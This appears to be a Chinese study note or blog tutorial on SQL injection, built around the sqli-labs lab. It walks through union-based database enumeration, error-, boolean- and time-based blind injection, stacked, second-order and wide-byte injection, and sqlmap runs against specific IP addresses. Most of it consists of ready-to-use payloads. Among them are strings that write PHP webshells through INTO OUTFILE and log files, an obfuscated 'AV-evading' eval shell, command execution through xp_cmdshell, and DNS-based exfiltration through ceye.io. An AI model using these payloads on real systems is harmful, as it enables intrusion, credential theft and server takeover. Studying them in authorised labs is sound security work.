SQL注入
SQL注入
ccbSQL注入
1. 概念
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。
sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。
如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。
2. 产生过程
大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。
如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。
3. 常见原因
①转义字符处理不合适;
②不安全的数据库配置;
③不合理的查询集处理;
④不当的错误处理;
⑤多个提交处理不当。
不当的处理类型
sql数据库将单引号字符(’)解析成代码与数据间的分界线:单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。
不安全的数据库配置
数据库带有很多默认的用户预安装内容,比如默认账户名、默认表名等,这些可能会成为SQL注入访问数据库的首要尝试。
SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,只是比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。
攻击者利用sql注入漏洞时,通常会尝试访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema
虚拟数据库中,可通过show databases
和show tables
命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。
不合理的查询集处理
有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。
不当的错误处理(盲注)
错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。
多个提交处理不当
大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。
例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。
4. 危害
盗取网站的数据库敏感信息
绕过网站后台认证(万能密码:‘ or ‘1’=‘1’ #
登录绕过)
借助SQL注入漏洞提权获取系统权限
上传或读取文件
执行系统命令
5. MySQL注入流程
以sqli-labs为例:https://github.com/Audi-1/sqli-labs
查看源码,分析注入原理:
1
2
3
4
5
6
7
8
9
10
11
12
13if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);在上面的代码中可以看到,网页以get请求获得id变量的值,然后将变量id拼接到数据库查询语句,进行数据库操作:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
直接传递的变量$id带入sql语句中执行没有做任何的限制。
判断注入点以及注入类型
在给id赋值时加上其他无意义的字符id=1abc
或者id=1 and 1=1
、id=1 and 1=2
,或者更换闭合条件为单引号1' and 1=1#
、 1' and 1=2#
之类的字符串,如果网站在不同输入下能回显出不同页面(显示1的结果(解析了and 1=1)或者回显为空(解析了and 1=2)),证明有SQL注入漏洞。如果网站显示404或者500之类的错误或其他报错,说明网站进行了字符过滤之类的操作,没有SQL注入漏洞。
闭合条件根据SQL语句的结构不同而不同,数字型就没有闭合,字符型就是单引号或双引号,再次基础上还有可能跟一个或多个括号。
1 | SELECT * FROM users WHERE id=1 LIMIT 0,1 |
信息收集(高版本数据库)
必要知识点:
在MYSQL5.0以上版本中,mysql存在一个自带数据库,名为information_ schema
,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。数据库中符号”.”代表下一级,比如xiao.user代表数据库xiao中的表user。因此:
information_ schema.tables
:记录所有表名信息的表
information_ schema.columns
:记录所有列名信息的表
table_schema
:数据库名
tables_name
:表名
column_name
:列名
performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
猜解数据库列数(字段数)
使用order by
判断列数。oder by 用于指定查询结果按照第几列进行排序,若所指定的列号超出数据库表原本的列数,就会报错。
1 | 192.168.102.130:8888/Less-2/index.php?id=1 order by 5 |
以下结果中,order by 4有回显,order by 5就出现报错了,说明列的数量为4。
判断前端回显
判断select的哪几个位置会被前端回显,后续查询就在该位置进行。其中令id为-1就可以使union前的语句为假,从而只显示union后面语句的执行结果。
1 | 192.168.102.130:8888/Less-2/index.php?id=-1 union select 1,2,3 |
结果显示2,3的位置会被前端回显。
查询数据库版本
1 | ?id=-1 union select version() |
查询数据库名称
1 | ?id=-1 union select database() |
查询数据库用户
若是root用户,则方便执行进一步的攻击行为,如利用SQL上传文件,redis未授权漏洞写入计划任务的利用方式也是需要root权限。
1 | ?id=-1 union select user() |
查询操作系统
1 | ?id=-1 union select @@version_compile_os |
比如注入时,发现第2、3个位置会回显,在这个2个位置查询用户和操作系统:
1 | 192.168.102.130:8888/Less-2/index.php?id=-1 union select 1,user(),@@version_compile_os,4 |
以及数据库名称和版本名称:
1 | ?id=-1 union select 1,database(),version(),4 |
查询指定数据库下的表名信息
根据刚才的信息收集,已知当前页面所操作的数据库名为mozhe_ Discuz_ stormGroup,或者直接使用database()表示,然后可以借助information_ schema.tables
查询该数据库的所有表名:
1 | http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() |
得到表名之后要确定哪一个表存储着用户数据,可以根据表名猜测或是逐表查看字段。
查询指定表名下的列名
根据刚才收集的表名StormGroup_member,查询该表的所有列名:
1 | ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name= 'StormGroup_member' |
查询指定数据
根据刚才收集的表名、列名,可以查询该表的指定数据:
1 | ?id=-1 union select 1,name,password,4 from StormGroup_member |
指定数据可能有多个结果,可以使用limit x,1
(从x的位置读取1条记录),变动猜解,得到不同结果:
1 | http://219.153.49.228:48354/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 2,1 |
得到的密码一般为MD5,去cmd5.com碰撞一下。
跨库查询
MYSQL 注入中首先要明确当前注入点权限(取决于注入点所使用的数据库用户的权限,使用user()语句查询),高权限注入时有更多的攻击手法,有的能直接进行 getshell 操作。
比如上述注入中借助的是root账户的权限进行数据库操作,若root用户具有当前数据库之外的操作权限,那么就可以注入其他数据库获取想要的信息。
imformation_schema除了记录有所有的表名、列名,还有所有的数据库名:
imformation_schema.schemata
:记录所有数据库名信息的表(跨库),其中字段schema_name
表示数据库名。
查询的前提是用户具有相应的权限。
查询所有的数据库名
1 | ?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata |
查询指定数据库下的表名信息
1 | id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw' |
查询指定表名下的列名信息
1 | id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw' limit 0,1 # 当出现多个记录时,可以使用limit 0,1取第一个记录 |
查询指定数据
1 | union select 1,u,p,4 from qqyw.admin # 查询u,p两列的数据,注意指定admin来自qqyw |
信息收集(低版本数据库)
暴力查询或结合读取查询
- SQLmap工具——字典dicts.py
- load_file读取源代码的数据库查询语句
- 暴力猜解——admin,password,passwd,user,member
==文件读写操作==
**load_file()**:读取函数,读取文件内容
常见的load_file()读取的敏感信息路径:https://blog.csdn.net/weixin_30292843/article/details/99381669
1
2id=-1 union select 1,loadfile('d:/www.txt'),3
id=-1 union select 1,load_file('C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/sql-connections/db-creds.inc'),3into outfile 或 into dumpfile :上传文件(写入后门、木马)
1
union select 1,'x',3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\x.php'--+
其中–+用于注释后面的语句,后面有limit 0,1。
文件路径获取
文件的读写都需要获取到文件路径,路径获取常见方法包括:
报错显示:网站报错时,显示的一些路径信息。
遗留文件:站长调试网站时遗留的一些文件,比如phpinfo.php。通过该文件可以得到路径信息。
报错信息的漏洞:
平台配置文件(不实用):
比如在phpStudy中,配置文件C:\phpstudy\PHPTutorial\Apache\conf\vhosts.conf中保存了网站的绝对路径,缺点是配置文件的路径并不固定。
爆破:
PhpMyAdmin、phpcms等会有惯用的一些路径,可以进行路径爆破:
读写问题:魔术引号开关
概念
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
在phpstudy中,该开关为参数magic_quotes_gpc,在php.ini的990行左右。
其实由于不是所有数据都需要转义,出于性能的考虑,魔术引号开关在PHP5.4.0及其之后PHP版本中被取消了,在运行时调用转义函数(如 addslashes())会更有效率。
影响
如果开启魔术引号,则上传语句
1
id=-1 union select 1,load_file('D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\sql-lab.sql'),3
会被转义成如下内容,使SQL注入命令失效:
1
id=-1 union select 1,load_file(\'D:\\\\phpstudy\\\\PHPTutorial\\\\WWW\\\\sqli-labs-master\\\\sql-lab.sql\'),3
绕过
可以把引号所包含的路径内容(不要单引号)编码为hex进行绕过。
绕过原理:sql可以识别并执行用hex表示的语句
利用SQL注入执行命令
https://www.cnblogs.com/feiquan/p/8673093.html
借助 xp_cmdshell 运行cmd命令。
1 | USE master |
SQLserver执行系统命令的几种方式:https://www.cnblogs.com/Azjj/p/14019312.html
xp_cmdshell
SP_OACREATE
通过沙盒执行命令
==SQL注入写webshel==
https://blog.csdn.net/huangyongkang666/article/details/123728115
上传webshell文件
上传文件的条件:
- 网站物理路径;
- 文件写入的权限;
- secure_file_priv 不为 NULL;
secure_file_priv=NULL时,无法导入导出文件;而当设置不为空时,导入导出文件不受限制;如果设置为某个文件路径,如secure_file_priv=/mysql/时,则导入导出必须要在该文件目录下完成。
1 | ?id=1 union select '<?php assert($_POST["cmd"]);?>’ into outfile 'D:/WWW/evil.php' |
利用分隔符写入
1 | ?id=1 into outfile 'D:/WWW/evil.php' fields terminated by '<?php assert($_POST["cmd"]);?>' |
1 | ?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)# |
利用日志写入
新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
利用条件:
- 对web目录有写权限
- GPC关闭(GPC:是否对单引号转义)
- 有绝对路径(读文件可以不用,写文件需要)
- 需要能执行多行SQL语句
1 | show variables like '%general%'; # 查看配置 |
在高版本的mysql中默认为NULL,就是不让导入和导出
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv
使用慢查询日志绕过此限制
1 | show variables like '%slow_query_log%'; #查看慢查询日志开启情况 |
免杀shell:
1 | SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>" |
6. SQL注入进阶
==堆叠注入==
https://www.cnblogs.com/backlion/p/9721687.html
stacked injections(堆叠注入)就是多条sql语句一起执行。在mysql 中,一条语句结尾加;
表示语句结束,多语句之间以分号隔开。堆叠注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。
比如:
1 | mysql> select * from users; select * from emails; |
将堆叠注入运用于创建用户,以此迂回得到自定义的账户密码。但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码。
id=1';insert into users(id,username,password) values ( 39, 'less38 ', 'hello ')--+
当网站使用PDO技术(一种防护手段)执行SQL语句时,可以执行多语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果, 所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。
id=1';select if(substr(user(),1,1)='r', sleep(3), 1)--+
加解密编码注入
某些注入点会对参数值进行编码。比如下面的cookie进行了base64编码:
1 | GET /Less-21/index.php HTTP/1.1 |
YWRtaW4%3D
是一个base64加密的字符串,其中%3D是编码中的=
符号,把他发送到编码模块当中解密,得到明文admin。
所以构造好注入语句后,也需要进行编码,也就是说admin' and 1=1
加密之后的值是YWRtaW4nIGFuZCAxPTE=
。
而获取数据库名称的报错盲注的语句admin' or updatexml(1,concat(0x7e,(database())),0) or '
加密后cookie值Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJwo=
二次注入(绕过转义)
(sqlilabs less 24)
二次注入原理,主要分为两步
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据。但是,数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后。开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一 步的检验和处理,这样就会造成SQL的二次注入。
在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入,也就是提前知道所插入的恶意数据的类型,在哪里被SQL利用。
举例:
比如已经通过代码审计知道,网页有注册和查询/更改密码的功能,并且:
注册页面会在后台执行insert语句insert into user(id,username,pwd) values(2,’x’,’123’)
更改密码,则包含update语句upadte user set pwd=’123456’ where id=2 and username=’admin’
。
在注册页面网站使用了addslashes进行了特殊字符的转义,所以无法直接进行注入。但是也因此可以插入一些恶意数据,比如使用admin' and 1=1#
作为用户名进行注册。
那么在更新密码页面,就会执行:
1 | upadte user set pwd=’123’ where id=2 and username='admin' and 1=1#' |
同理,如果换成注册其它用户名,更新的时候也会形成不同的注入语句。
比如使用dhakkan'#
作为用户名注册,那么更新密码时就会执行:
upadte user set pwd=’sss’ where username='dhakkan'#'
被更新密码的账户从dhakkan'#
变成了dhakkan
。
以此类推,可以借助用户名来爆数据库信息:
若输入用户名:' or updatexml(1,concat(0x7e,version()),0) or’
和密码:123
那么更新密码的SQL就是:
1 | `update users set pwd='sss' where username='' or updatexml(1,concat(0x7e,version()),0) or'' and password='123456' |
但是网站有时会限制用户名长度,如果是在前端限制,可以修改Maxlength,如果是后端代码进行的限制,则无法成功注入。
load_file&DNSlog注入(解决无回显)
sqlilabs-less9-load_file&dnslog 带外注入(实际案例)
dnslog解决了盲注不能回显数据,效率低的问题
原理:load_file
支持对外的文件读取,通过在URL中加入SQL语句,可以借助读取DNS访问记录得到SQL语句的执行结果。
比如构造如下语句:
1 | ?id=1 and if((select load_file(concat('////',(select version()),'.yk2kql.ceye.io//abc'))),0,1)--+ |
工具:http://ceye.io,注册后可以获得个人的DNS地址:
成功注入之后,可以在ceye.io网站看到所访问的链接,其中包含了version()数据库版本信息5.5.53.1。
或者查看数据库名称:
1 | ?id=1 and if((select load_file(concat('////',(select database()),'.yk2kql.ceye.io//abc'))),0,1)--+ |
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
使用DnsLog盲注仅限于windos环境。
使用工具DnslogSqlinj
https://github.com/ADOOO/DnslogSqlinj
获取数据库名称:
宽字节注入(绕过转义)
当网站对参数进行了转义时,单引号等会被转义符(反斜杠)转义,导致攻击语句失效。所以在一般情况下,此处是不存在SQL注入漏洞的。
不过有一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在单引号前会先加个%df。这样就变成了id=1%df'
,经过转义就是id=1%df%5c'
。因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字”連”,所以这时,单引号成功被读入。
所以可以构造攻击语句:id=1%df' and 1=1%23
进行注入点的判断。
XFF注入
XFF是HTTP请求头中的一个头部参数X-Forwarded- for。X- Forwarded- For简称XFF头,它代表客户端真实的IP。
通过修改X-Forwarded-for的值可以伪造客户端IP,将X Forwarded -for设置为127.0.0.1,然后访问该URL,页面返回正常。
如果网站有通过诸如$_SERVER之类的函数获取XFF,并用于SQL语句,那么就可以尝试进行注入。
比如构造攻击语句:X Forwarded -for=127.0.0.1' union select 1,2,3,4#
7. SQL注入类型
按照注入方式
普通注入和盲注
普通注入就是注入的页面是直接显示数据库中的字段内容的,我们可以通过 SQL 注入一步一步把数据库中我们想要的内容显示在页面中。
盲注则要困难很多,页面不直接显示数据库字段内容,显示的可能只是一个判断结果(是或者否),页面只能告诉你你构造的 SQL 语句对还是错,你要查询的内容存在还是不存在。
其中不回显的原因可能是 SQL 语句的问题导致,因为像insert、delete等查询语句即使执行成功,也不会回显。此外,网站的前端页面显示也会限制。
select 查询数据
例:
select * from news where id=$id
应用:查询用户
insert 插入数据
例:
insert into users(id,username,password) values(30,'x','123')
应用:网站的用户注册
和select操作的数据包相似,但是不能像普通select注入一样操作。
delete 删除数据
例:
delete from users where id=30
应用:后台管理里面删除用户等操作、删除留言等
update 更新数据
例:
update users set password='123' where id=11 and username='admin3'
应用:会员或后台中心数据同步或缓存等操作、登录后修改个人信息,如密码等
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
基于报错的SQL盲注(优先)
12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c
floor、extractvalue、updatexml报错原理:https://developer.aliyun.com/article/692723
floor向下取整数
0x7e为
~
rand() 产生[0,1)的随机小数;
group by 按照指定字段对查询结果进行分组,常结合count()、sum()、avg()、max()、min()等使用。
利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在 rand()和group by同时使用 的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28//select
// 爆数据库版本
1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#
// 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#
// 爆出所有表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#
// 爆出所有字段名
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#
// 爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#
//爆出该账户的密码。
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#
//insert
username=x' or (select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
//update
add=hubeNicky' or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '
// delete
id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
// 由于是在数据包中编辑,所以用+代替空格,避免歧义报错结果如下,显示出了数据库名称:
extractvalue(xml_frag, xpath_expr)
xml_frag为XML标记片段,xpath_expr表示从XML字符串中匹配元素。如果xpath_expr格式语法书写错误的话,就会报错,输出xpath_expr。利用这个特性可以构造注入点。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

1
2
3
4
5
6
7
8// insert
username=x' or extractvalue(1,concat(0x7e,database())) or '
// update
add=hubeNicky' or extractvalue(1,concat(0x7e,database())) or '
// delete
?id=56+or+extractvalue(1,concat(0x7e,database()))其中的concat()函数是将其参数连成一个字符串,因此不会符合xpath_expr的格式,从而出现格式错误,爆出
UpdateXML(xml_document, xpath_expr, new_xml)
xml_document:String格式,为XML文档对象的名称
xpath_expr:Xpath格式的字符串
new_xml:String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,即改变XML_document中符合XPATH_string的值
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为新的XML片段 new_xml,然后返回更改的XML。xml_document替换的部分 与xpath_expr用户提供的XPath表达式匹配。
如果未xpath_expr找到表达式匹配,或者找到多个匹配项,则该函数返回原始xml_document的XML片段。所有三个参数都应该是字符串。
和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:
1
2
3
4
5
6
7
8// insert
username=x' or updatexml(1,concat(0x7e,(version())),0) or '
// update
add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '
// delete
?id=56+or+updatexml+(1,concat(0x7e,database()),0)
基于布尔的SQL盲注(其次)
逻辑判断,regexp正则表达式,like,ascii,left,ord返回字符串第一个字符的ascii码,mid取字符串子串。
布尔型盲注是指注入页面中没有直接显示数据内容,但会显示输出的结果对还是错,查询的数据有还是没有。
猜解数据库长度
1
' or length(database()) > 8 --+ # 符合条件返回正确,反之返回错误
猜解数据库名
1
2'or mid(database(),1,1)='z' --+
'or ORD(mid(database(),1,1)) > 100 --+ : # 因为需要验证的字符太多,所以可以转化为ascii码验证猜解表的总数
1
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ # 判断表的总数
猜解各个表名的长度
1
2'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)猜解第一个表名
1
2
3'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1) = 'a' --+
或者
'rr ord(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+猜解表的字段的总数
1
2'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)猜解第一个字段名
1
2
3
4
5'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
或者直接猜解
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+猜解内容长度
1
2假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+猜解内容
1
2
3
4
5'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
或者直接猜解
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
基于时间的SQL盲注(最后考虑)
对于某些 SQL 注入页面,可能页面中任何信息都不返回,甚至连记录是否存在都不告诉你,这时布尔型盲注也就无效了。但是基于 sleep()
、benchmark()
函数可以实现延时查询,我们可以构造一个判断语法,如果返回结果为真,则延时 5 秒再进行查询操作。那么我们就可以通过观察提交 SQL 注入语句后,页面响应是否有延时卡顿,来判断我们构造的 SQL 语句是否成立。
延时判断,if、sleep。
if(expr1, expr2,expr3)
如果expr1是TRUE,则IF0的返回值为expr2;否则返回值则为expr3。if()的返回值为数字值或字符串值。具体情况视其所在语境而定。
若数据库名为a,则回显123,否则回显456:
if + sleep
若数据库名为a,则延时1s,否则不延时。
1 | // 猜解数据库名长度,猜中了延时5s |
1 | like 'ro%' # 判断ro或ro...是否成立 |
盲注的加速方法:
减少查询次数,提高查找的正确率。
二分法爆破字符;
位运算法
每次查询确定一位,这样一个字符只需要8次就可以确定了,利用位运算符&实现取某一位的值。
按照注入的数据类型
数字型
现有的查询语句 Where 筛选条件匹配的字段是数值类型。构造注入语句时不需要单引号和#来闭合语法。
字符型
现有的查询语句 Where 筛选条件匹配的字段是字符型。一般字符型注入需要构造单引号/双引号用于闭合语法,还需要加入注释符使原本的引号以及后面的语句无效。
除单引号外,SQL语句也有其他的一些干扰符号:’ “ % ) }等,具体需看写法。
比如select * from user where name like '%xiaodi%';
用于搜索name字段中含有xiaodi
的记录。或者select * from user where name=('xiaodi');
增加了括号。
这时注入的话就要考虑%来闭合语法。实际中应该用什么符号来闭合语法需要自己尝试。
==如何判断字符型、数字型==
比如在文本框中输入 1 and 1=1
和 1 and 1=2
,若都能返回数据(都通过),说明可能注入漏洞不是数字型,应该是字符型形式 ;因为对于字符型,使用?id=1 and 1=1
相当于执行的是SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
这样网站对于'1 and 1=1'
或者'1 and 1=2'
都是取前面的1,都返回数据。
此时在文本框输入 1' and 1=1#
,可以返回数据,输入 1' and 1=2#
,没有数据返回,说明注入成功,确认漏洞为id='1' and 1=1#'
的字符型SQL注入;(注意:有时用于闭合语法的不一定为单引号,另外在mysql中一般注释后面的字句是采用的–+在有些的字句中采用#注释。需要多测试才能发现)
若在文本框中输入 1 and 1=1
和 1 and 1=2
,前者返回数据,后者不返回,直接确定是 id=1 and 1=1
的数值型形式。
搜索型
使用了select * from users where id like '%233'
之类的模糊匹配,
1 | word=a%' and 1=1# 返回正确 |
按照提交参数方式
1 |
|
get数据注入
get数据的注入在前面已经详细说明。
post数据注入
(sqlilabs less 11)
网站的URL不会显示具体的参数,而是将参数放在web表单中以post请求的形式提交。
此时需要使用 Burpsuite 等工具来构造 POST 包。BP抓包之后在数据包中进行相同的注入流程。
或者使用hackbar构造post数据也可。
cookie注入
(sqlilabs less 20)
有时网站对get、post请求都进行了关键词过滤,难以注入,但是忽略了cookie也可以传递参数。如果cookie的参数也被用于SQL语句,那么也有成功注入的可能。有时使用cookie传参时会与post冲突,此时可能需要改为使用GET请求。
request请求注入
如果网站是request请求,那么可以在所有方法的位置提交,包括get、post、cookie。
下面的网站以get或post都能提交参数:
$_SERVER注入
php内置函数,用于获取一些参数信息。
$_SERVER详解:https://blog.csdn.net/lky_for_lucky/article/details/111300340
1 | $_SERVER['HTTP_ACCEPT_LANGUAGE'] //浏览器语言 |
如果通过$_SERVER获取的信息被用于SQL语句,那么就可能存在注入漏洞。
比如BP抓包后,将浏览器信息User-Agent进行修改。如果网站将User-Agent字段作为SQL语句的参数,那就可能存在注入成功的可能。
json数据注入
原理一样与其他注入一样,只是注入点改为json的键值对中的值。
HTTP头部参数注入
(sqlilabs less 18)
有些网站调用php的$_SERVER获取一些HTTP头部信息,比如User-Agent。这些地方可以进行注入。
还有X- Forwarded- For,简称XFF头,它代表客户端真实的IP。这里也可以尝试进行注入。
上例中的SQL语句为insert操作,无法像select一样回显信息,因此只能盲注。
8. 各种数据库注入
https://blog.csdn.net/qq_42438245/article/details/121579063
各种数据库的注入特点
不同的数据库具有不同的注入特点,每个数据库支持的功能不一样,获取到的权限和可执行操作等不同。
包括access、mysql、mssql、mongoDB、postgresql、sqlite、oracle、sybase等。
access注入(暴力)
access数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,结构为表名/列名/数据,不同的网站会有各自的acess数据库。不会像mySQL那样一个网站的管理员可以操作多个mySQL数据库,导致存在跨库注入的情况。mySQL的结构为数据库名/表名/列名/数据。
access没有information_ schema表,数据库名、操作系统等等都无法查询,只能暴力猜解表名、列名、数据,可以通过一些暴库手段、目录猜解等下载数据库。
判断数据库类型
由于各个数据库特征不同,这里直接使用sqlmap比较方便:
判断注入点
猜解字段数量
oder by
判断哪几个位置回显
?id=-1 union select 1,2,3
暴力猜解表名、列名等信息
比如猜当前表为admin,看是否成功返回数据:
?id=-1 union select 1,2,3 from admin
使用工具进行暴力猜解:
尝试爆表名:sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --tables
尝试爆表admin的列名: sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --dump -T "admin"
msSQL注入(pangolin穿山甲)
判断数据库类型
由于各个数据库特征不同,这里直接使用pangolin穿山甲工具进行判断:
